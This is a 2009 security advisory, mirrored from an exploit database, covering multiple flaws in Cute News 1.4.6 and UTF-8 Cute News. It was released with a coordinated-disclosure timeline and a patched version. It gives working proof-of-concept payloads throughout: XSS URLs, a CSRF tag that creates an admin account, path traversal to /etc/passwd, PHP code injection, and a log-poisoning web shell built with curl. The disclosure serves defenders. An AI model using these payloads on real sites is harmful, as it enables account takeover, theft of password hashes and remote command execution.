forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path10002.txt
More file actions
executable file
·478 lines (296 loc) · 19 KB
/
Copy path10002.txt
File metadata and controls
executable file
·478 lines (296 loc) · 19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
MorningStar Security - Advisory
http://www.morningstarsecurity.com/
Multiple security issues in Cute News and UTF-8 Cute News
1. Advisory Information
------------------------------------------------------------------------------------------------------------------------
Title: Multiple security issues in Cute News and UTF-8 Cute News
Advisory ID: MORNINGSTAR-2009-02
Advisory URL: http://www.morningstarsecurity.com/advisories/
Release Type: Co-ordinated, responsible disclosure
2. Vulnerability Information
------------------------------------------------------------------------------------------------------------------------
Class: Cross Site Request Forgery, Cross Site Scripting, File Path Disclosure, Local File Inclusion, Authentication Bypass and PHP Command Injection
Remotely Exploitable: Yes
Locally Exploitable: No
3. Vulnerability Description
------------------------------------------------------------------------------------------------------------------------
Cute News is a powerful and easy to use news management system that uses flat files to store its database. It supports commenting, archives, search function, file upload management, backup & restore, IP banning, flood protection and more. It's available for free from http://www.cutephp.com/. Cute News is at the time of writing, the second most popular script on www.hotscripts.com. UTF-8 CuteNews is a current fork of the Cute News project which is designed to improve security and is available for free from http://korn19.ch/coding/utf8-cutenews/
Multiple vulnerabilities exist in Cute News and UTF-8 CuteNews. These vulnerabilities can be exploited to steal user credentials, disclose file contents, disclose the file path of the application and execute arbitrary commands.
Cute News appears to be abandoned since September 2008. A local file inclusion (LFI) vulnerability was discovered by athos on January 9th, 2009 for which no patch has been made.
4. Vulnerable Packages
------------------------------------------------------------------------------------------------------------------------
Cute News 1.4.6 and Cute News UTF-8 are vulnerable. Earlier versions might be effected.
5. Non-vulnerable Packages
------------------------------------------------------------------------------------------------------------------------
Cute News UTF-8b.
6. Vendor Information, Solutions and Workarounds
------------------------------------------------------------------------------------------------------------------------
Upgrade to Cute News UTF-8 version 8b.
Lucas Jacques, the maintaner of Cute News UTF-8 was very helpful.
7. Credits
------------------------------------------------------------------------------------------------------------------------
These vulnerabilities were discovered and researched by Andrew Horton (urbanadventurer) from MorningStar Security.
8. Technical Description / Proof of Concept
------------------------------------------------------------------------------------------------------------------------
8.1 Introduction
Many past advisories have been published for Cute News. An unpatched LFI exploit was published in January 2009.
Attackers without a registered account or with a comment level account can exploit cross site scripting (XSS) to steal cookies from other users, cross site request forgery (CSRF) vulnerability to execute administrator functions including adding a new administrator account and can exploit a file path disclosure vulnerability.
Attackers with an administrator account, possibly gained by using the exploits described above can exploit local file inclusion and command execution vulnerabilities to execute arbitrary commands. Journalist and Editor level accounts can edit any article. Administrator and editor level accounts can also exploit a partial file disclosure vulnerability to view all usernames.
Cute News suffers from other security failures such as:
* User registration, in register.php the password input field should be shown as stars to prevent shoulder surfing. This is fixed in UTF-8b.
* Email addresses are exposed by the news article template. The email address should be obsfucated to prevent spam harvesting. There is an option in both 1.4.6 and UTF-8b versions to hide the email address.
* Insecure cookie handling and session handling. Users are authenticated with each request by the username and password hash in the cookie. So the password is not known to authenticate.
Eg. Cookie: username=user2; md5_password=7e58d63b60197ceb55a1c487989a3720
In the UTF-8 fork the password cookie is salted with a prefix of 'FqZm$()G_~<' and a suffix of the users remote IP address. It is worth noting that an XSS attack will capture this cookie, and that the password can be cracked with John the Ripper using a custom rule because both the prefix and suffix will be known to the attacker.
A XSS bug was reported by DeltahackingTEAM on 2008-11-07 which I am unable to reproduce. The details are:
Exploit: http://www.example.com/register.php?config_skin=../../../../etc/passwd%00
Link: http://www.securityfocus.com/bid/32142/info
UTF-8 Cute News has not been reviewed except to check whether if it is effected by vulnerabilities found in Cute News 1.4.6.
8.2 Reflected Cross Site Scripting in index.php
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
The victim user must be logged out
Magic quotes must be off
8.2.1 Proof of concept exploit
http://test/cutenews/index.php?lastusername='%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
8.2.2 Vulnerable packages
1.4.6
8.2.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.3 Reflected Cross Site Scripting in index.php
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
Commenter level or higher user to be logged in
8.3.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C/script%3E
8.3.2 Vulnerable packages
1.4.6
8.3.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.4 Reflected Cross Site Scripting in register.php
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
Magic quotes must be off
User registrations must be allowed
8.4.1 Proof of concept exploit
http://test/cutenews/register.php?result=%3Cscript%3Ealert(/XSS/);%3C/script%3E
8.4.2 Vulnerable packages
1.4.6, UTF-8
8.4.3 Non-Vulnerable packages
UTF-8b
8.5 Reflected Cross Site Scripting in search.php with user
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
8.5.1 Proof of concept exploit
http://test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
8.5.2 Vulnerable packages
1.4.6, UTF-8
8.5.3 Non-Vulnerable packages
UTF-8b
8.6 Reflected Cross Site Scripting in search.php with title
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
8.6.1 Proof of concept exploit
http://test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
8.6.2 Vulnerable packages
1.4.6
8.6.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.7 Reflected Cross Site Scripting in editnews module
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
Administrator level user
8.7.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?mod=editnews&action=list&cat_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&source_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&postponed_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&unapproved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&news_per_page=%3Cscript%3Ealert(/xss/);%3C/script%3E
8.7.2 Vulnerable packages
1.4.6, UTF-8
8.7.3 Non-Vulnerable packages
UTF-8b
8.8 Stored Cross Site Scripting in news comments
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Magic quotes must be off
8.8.1 Proof of concept exploit
Leave a comment with the following code:
Exploit for version 1.4.6
[link=javascript://%0adocument.write('<script>alert(/xss/)</script>')]funny pictures[/link]
Exploit for version UTF-8
[link=javascript://%0adocument.write('<img src="javascript:alert(/xss/);">')]funny pictures[/link]
This will show as funny pictures and when a user clicks on it, the javascript will execute. Not that the link text cannot include dots.
8.8.2 Vulnerable packages
1.4.6, UTF-8
8.8.3 Non-Vulnerable packages
UTF-8b. The [link=] tag has been removed from UTF-8b.
8.9 Stored Cross Site Scripting in news articles
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: The victim user must be logged in
Magic quotes must be off
Journalist, editor or admin access. Not commenter.
Admin to approve the article
8.9.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?mod=addnews&action=addnews
A user can include script tags in the body of a news article then all users who view this article can have their cookies stolen.
A journalist user needs the admin to approve the article without noticing the included script tags, while an editor user doesn't need approval.
8.9.2 Vulnerable packages
1.4.6, UTF-8, UTF-8b.
8.9.3 Non-Vulnerable packages
None
8.9.4 Vendor Comment
The administrator must ensure that the users who can post news are trustworthy.
8.10 Edit Any Article and Moderation Bypass
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Magic quotes must be off
Journalist, editor or admin access. Not commenter.
The allows a journalist or editor level user to edit any article.
By default a journalist user cannot edit his own news articles. Using this method, a journalist can submit an article, have it approved by the admin, then later change it to include stored XSS.
8.10.1 Proof of concept exploit
Article IDs can be found in the links from this page: http://localhost/test/cutenews/index.php?mod=editnews&action=list
Change id parameter to the id of the article you wish to change.
http://localhost/test/cutenews/index.php?action=doeditnews&mod=editnews&title=<script>alert(/xss/);</script>&short_story=A new article&full_story=&id=1255233147&source=&if_convert_new_lines=yes&if_use_html=yes
8.10.2 Vulnerable packages
1.4.6, UTF-8
8.10.3 Non-Vulnerable packages
UTF-8b
8.10.4 Vendor Comment
The administrator must ensure that the users who can post news are trustworthy.
8.11 File Path Disclosure in search.php
------------------------------------------------------------------------------------------------------------------------
Severity: Low
8.11.1 Proof of concept exploit
File Path Disclosure
Warning: mktime() expects parameter 5 to be long, string given in /var/www/test/cutenews/search.php on line 176
http://test/cutenews/search.php?dosearch=yes&from_date_day=a&from_date_month=5&from_date_year=2003&to_date_day=4&to_date_month=5&to_date_year=2010
8.11.2 Vulnerable packages
1.4.6, UTF-8
8.11.3 Non-Vulnerable packages
UTF-8b
8.12 Cross Site Request Forgery
------------------------------------------------------------------------------------------------------------------------
Severity: High
Requires: Admin user to be logged in
There is no protection against CSRF attacks. A user can trick the admin into making another admin just by viewing html.
Works with a GET request:
http://localhost/test/cutenews/index.php?regusername=a®password=a®nickname=a®email=a%40a.com®level=1&action=adduser&mod=editusers
8.12.1 Proof of concept exploit
1) Include the following image code in a webpage:
<img src="http://localhost/test/cutenews/index.php?regusername=a®password=a®nickname=a®email=a%40a.com®level=1&action=adduser&mod=editusers">
2) Leave a comment on a news item asking the admin to view that webpage
3) if they look at the page while they're logged in then the a new admin user 'a', with a password of 'a' will be created.
8.12.2 Vulnerable packages
1.4.6, UTF-8
8.12.3 Non-Vulnerable packages
UTF-8b
8.13 PHP Code Injection for categories module
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Administrator level account
8.13.1 Proof of concept exploit
1) Browse to http://localhost/test/cutenews/index.php?mod=categories
2) Add a category with <? phpinfo(); ?> as the Icon URL or Category Access field.
3) category.db.php will have a line such as: 3|foo|<?phpinfo();?>|0|||
4) Browse to category.db.php and your injected PHP code will have executed
http://localhost/test/cutenews-utf8/data/category.db.php
8.13.2 Vulnerable packages
1.4.6
UTF-8 has protection for the category and icon url fields. The category access field in injectable.
8.13.3 Non-Vulnerable packages
UTF-8b Contains an error on this page with the token functionality.
8.14 Local File Inclusion in options module
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Administrator level account
Magic quotes must be off for %00 file name truncation technique
This can be used to view any file or execute abitrary PHP code.
8.14.1 Proof of concept exploit
To view the /etc/passwd file
1) Browse to http://localhost/test/cutenews/index.php?mod=options&action=syscon
2) Change the skin variable on the System Configuration
3) Intercept the POST and change the form variables, i.e. save_con%5Bskin%5D=../../../../../../../../../../../../../../../../etc/passwd%00
4) Load any page and the /etc/passwd will be included
To execute abitrary code
1) Browse to http://localhost/test/cutenews/index.php?mod=options&action=syscon
2) Change the skin variable on the System Configuration
3) Intercept the POST and change the form variables, i.e. save_con%5Bskin%5D=../../../../../../../../../../../../../../../../proc/self/fd/1
4) Try including /proc/self/fd/1 to /proc/self/fd/100 until you find the web server logs
5) Inject a cmd shell into the logs by requesting a page and including "<? phpcmd ?>" as a User Agent
6) Load any page and your injected PHP command will execute
Eg.
$ curl -u "<? passthru($_REQUEST['cmd']); ?>" http://localhost/test/cutenews/
Load any page, and your code will execute
$ curl http://localhost/test/cutenews/index.php?cmd=id
8.14.2 Vulnerable packages
1.4.6
8.14.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.15 Partial File Disclosure in editnews module
------------------------------------------------------------------------------------------------------------------------
Severity: Low
Requires: Editor or Administrator level account
Magic quotes must be off for %00 file name truncation technique
This can be used to view the first column of any pipe delimited file. An editor level or higher user can get a list of usernames from the users.db.php file.
8.15.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?mod=editnews&action=list&source=../users.db.php%00
8.15.2 Vulnerable packages
1.4.6
8.15.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.16 Partial File Disclosure in editnews module
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Editor or Administrator level account
Magic quotes must be off for %00 file name truncation technique
An administrator level user can get full user details including password hashes.
8.16.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?mod=editnews&action=editnews&id=1255182669&source=../users.db.php%00
8.16.2 Vulnerable packages
1.4.6
8.16.3 Non-Vulnerable packages
UTF-8, UTF-8b
8.17 PHP Command Injection in ipban module
------------------------------------------------------------------------------------------------------------------------
Severity: Medium
Requires: Administrator level account
Reported by athos, staker[at]hotmail[dot]it and is unpatched.
8.17.1 Proof of concept exploit
http://localhost/test/cutenews/index.php?add_ip=<?phpinfo();?>&action=add&mod=ipban
load http://localhost/test/cutenews/data/ipban.php to see the result
8.17.2 Vulnerable packages
1.4.6
8.17.3 Non-Vulnerable packages
UTF-8, UTF-8b
9. Report Timeline
------------------------------------------------------------------------------------------------------------------------
11th October 2009 - Andrew Horton at MorningStar Security notifies Georgi at flexer at cutephp dot com
11th October 2009 - Andrew Horton at MorningStar Security notifies the UTF-8 Cute News fork
17th October 2009 - Posted a public request for co-ordination on the forum at cutephp.com
18th October 2009 - Lucas Jacques, maintainer of UTF-8 Cute News confirms bugs and begins patching
9th November 2009 - Lucas Jacques releases patched version UTF-8b Cute News on http://korn19.ch/coding/utf8-cutenews/
10th November 2009 - Andrew Horton at MorningStar Security checks that the patched version is no longer vulnerable
11th November 2009 - Morningstar Security publishes this adviosry
10. About Morning Star Security
----------------------------------------------------------------------------------------------
MorningStar Security is an IT security consulting firm in Christchurch, New Zealand.
The freshest blend of IT security news is available for your daily consumption at http://www.morningstarsecurity.com/news/
11. Disclaimer & Copyright
----------------------------------------------------------------------------------------------
The contents of this advisory are copyright (c) 2009 MorningStar Security, and may be distributed freely provided that and proper credit is given.